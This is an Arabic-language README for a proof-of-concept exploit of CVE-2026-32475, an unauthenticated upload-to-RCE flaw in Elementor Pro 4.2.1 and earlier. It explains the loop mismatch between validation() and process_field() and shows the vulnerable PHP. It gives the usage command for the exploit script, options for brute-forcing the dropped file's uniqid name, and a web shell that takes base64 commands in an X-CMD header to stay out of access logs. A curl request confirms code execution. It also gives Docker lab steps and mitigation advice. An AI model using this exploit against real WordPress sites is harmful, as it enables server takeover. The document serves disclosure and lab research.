
# إثبات المفهوم لـ CVE-2026-32475: Elementor Pro <=4.2.1 رفع ملف غير مصادق عليه إلى تنفيذ أوامر عن بُعد (RCE). بايثون باستخدام المكتبة القياسية فقط.
| CVE | CVE-2026-32475 |
| CVSS | 9.0 حرجة |
| CWE | CWE-434 (رفع غير مقيد لملف بنوع خطير) |
| المصادقة المطلوبة | لا شيء |
| المتأثر | Elementor Pro ≤ 4.2.1 |
| المُصلَح | Elementor Pro 4.2.2 (2026-08-19) |
| المُبلِّغ | Tin Pham (TF1T)، عبر برنامج Patchstack لمكافآت اكتشاف الثغرات |
زائر بدون مصادقة
│
▼
صفحة نموذج Elementor (حقل رفع ملف)
│
▼
multipart/form-data POST → admin-ajax.php
│
├── الجزء #1: ملف فارغ
│ └─► validation(): UPLOAD_ERR_NO_FILE → return ◄── التحقق يتوقف هنا
│
└── الجزء #2: shell.php
└─► لا يتم فحص نوعه أبدًا
│
▼
process_field(): يستمر → ينقل الحمولة .php على أي حال
│
▼
wp-content/uploads/elementor/forms/<uniqid>.php
│
▼
GET لهذا الرابط ⇒ تنفيذ أوامر عن بُعد
تعالج وحدة النماذج كل إدخال مرفوع في مرحلتين منفصلتين بدلالات حلقات مختلفة:
validation() process_field()
──────────── ──────────────
foreach files as file: foreach files as file:
if empty(file): if empty(file):
add_error(...) continue ◄─ يتخطى هذا الإدخال فقط
return move_uploaded_file(...) ◄─ ينقل الباقي
validation() تتوقف عند أول إدخال يكون خطؤه UPLOAD_ERR_NO_FILE، لذا فإن
إدخال .php الذي يليه لا يُفحص نوعه أبدًا. process_field() تتخطى فقط ذلك
الإدخال الفارغ وما زالت تنقل كل إدخال لاحق إلى دليل الرفع العام.
المُتحقِّق يُبلغ بالفشل بينما الناقل يستمر — عدم التزامن بين
الحلقتين هو الثغرة.
الكود القابل للاستغلال (modules/forms/fields/upload.php، ≤ 4.2.1):
// validation()
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // ← يوقف الحلقة بأكملها
}
// process_field()
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // ← يتخطى هذا الإدخال فقط
}
...
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension; // الامتداد المتحكم فيه من المهاجم يبقى
move_uploaded_file( $file['tmp_name'], $new_file );
الإصلاح في 4.2.2 يجعل الحلقتين متوافقتين — الإدخال الفارغ لم يعد ينهي
التحقق مبكرًا، لذا يتم فحص نوع إدخال .php ورفضه.
post_id و form_id ومعرّف حقل الرفع.admin-ajax.php
(action=elementor_pro_forms_send_form).<uniqid> المتوقعة
(انظر analysis.md للتعيين الكامل من uniqid إلى اسم الملف).تقرأ الصدفة أمرها من ترويسة طلب X-CMD (مفكوكة من base64) بدلاً من
معامل query-string/POST. هذا فقط لإبقاء نقل الأوامر منفصلاً عن
معاملات النموذج وخارج سلاسل استعلام سجلات الوصول النموذجية — ليس له
علاقة بالثغرة نفسها.
python3 el_rce_poc.py --url http://TARGET \
--page-url http://TARGET/upload-form/ \
--command "id; hostname; uname -a"
مكتبات Python 3 القياسية فقط. خيارات الضبط:
| الخيار | الافتراضي | المعنى |
|---|---|---|
--probe-seconds | 0.05 | نافذة ميكروثانية uniqid للمسح (بالثواني) |
--step-us | 2000 | ميكروثانية بين عمليات الفحص |
--workers | 24 | خيوط الفحص المتزامنة |
--field-id | تلقائي | يُضبط يدويًا عند فشل الاكتشاف التلقائي لحقل الرفع |
ملاحظة حول الأهداف البطيئة: مرحلة الفحص قد تكون ثقيلة على الهدف (آلاف
الطلبات). على الأجهزة الصغيرة التي تستضيف الهدف والمهاجم معًا، قد يُسقط خادم الويب
الطلبات المتزامنة — شغّل مع --probe-seconds 0 لإثبات أولية الرفع التعسفي
فقط، ثم حدد موقع .php المُسقَط وتحقق منه تحت
wp-content/uploads/elementor/forms/ مباشرة على الهدف.
يفصل الإثبات بين مرحلتين مستقلتين:
أولية الرفع التعسفي → نجاح / فشل
استعادة اسم الملف (uniqid) → نجاح / جزئي
تأكيد تنفيذ الأوامر عن بُعد → نجاح (كل ما سبق نجح)
رمز الخروج 0 يعني تأكيدًا كاملاً لتنفيذ الأوامر عن بُعد. رمز الخروج 2 يعني إثبات
أولية الرفع لكن تعذر تخمين اسم الملف ضمن النافذة (تحقق من .php
المُسقَط تحت wp-content/uploads/elementor/forms/ يدويًا).
انظر docker-compose.yml. الخطوات الكاملة:
# 1) تشغيل WordPress + MariaDB
docker compose up -d
# انتظر ~30 ثانية لقاعدة البيانات، ثم ثبّت WordPress
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
# 2) تثبيت Elementor المجاني
docker compose run --rm wpcli wp plugin install elementor --activate
# 3) تثبيت Elementor Pro القابل للاستغلال (<= 4.2.1).
# Elementor Pro إضافة مدفوعة — ضع نسختك التي حصلت عليها قانونيًا
# elementor-pro.zip (مثل 4.2.1) بجوار docker-compose.yml أولاً:
docker compose run --rm wpcli wp plugin activate elementor-pro \
|| docker compose exec wordpress bash -c \
"cd wp-content/plugins && unzip -o /var/www/html/epr.zip"
# 4) إنشاء صفحة النموذج (مستودع الإثبات يوفّر setup_form_page.php):
docker cp setup_form_page.php wp-lab:/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
# 5) تشغيل الإثبات
python3 el_rce_poc.py --url http://localhost:8090 --page-url "http://localhost:8090/?page_id=<ID>"
تأكيد أولية الرفع — الحمولة أُسقطت كـ <uniqid>.php:
$ ls wp-content/uploads/elementor/forms/
6a8cebf002529.php
تأكيد تنفيذ الأوامر عن بُعد بطلب الصدفة المُسقَطة:
$ curl http://localhost:8090/wp-content/uploads/elementor/forms/<uniqid>.php \
-H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c
حدّث Elementor Pro إلى 4.2.2+. حتى ذلك الحين، أزل حقول رفع الملفات من النماذج العامة أو قيّد إرسال النماذج بقاعدة WAF.
لأبحاث الأمان المصرح بها والاستخدام المخبري فقط.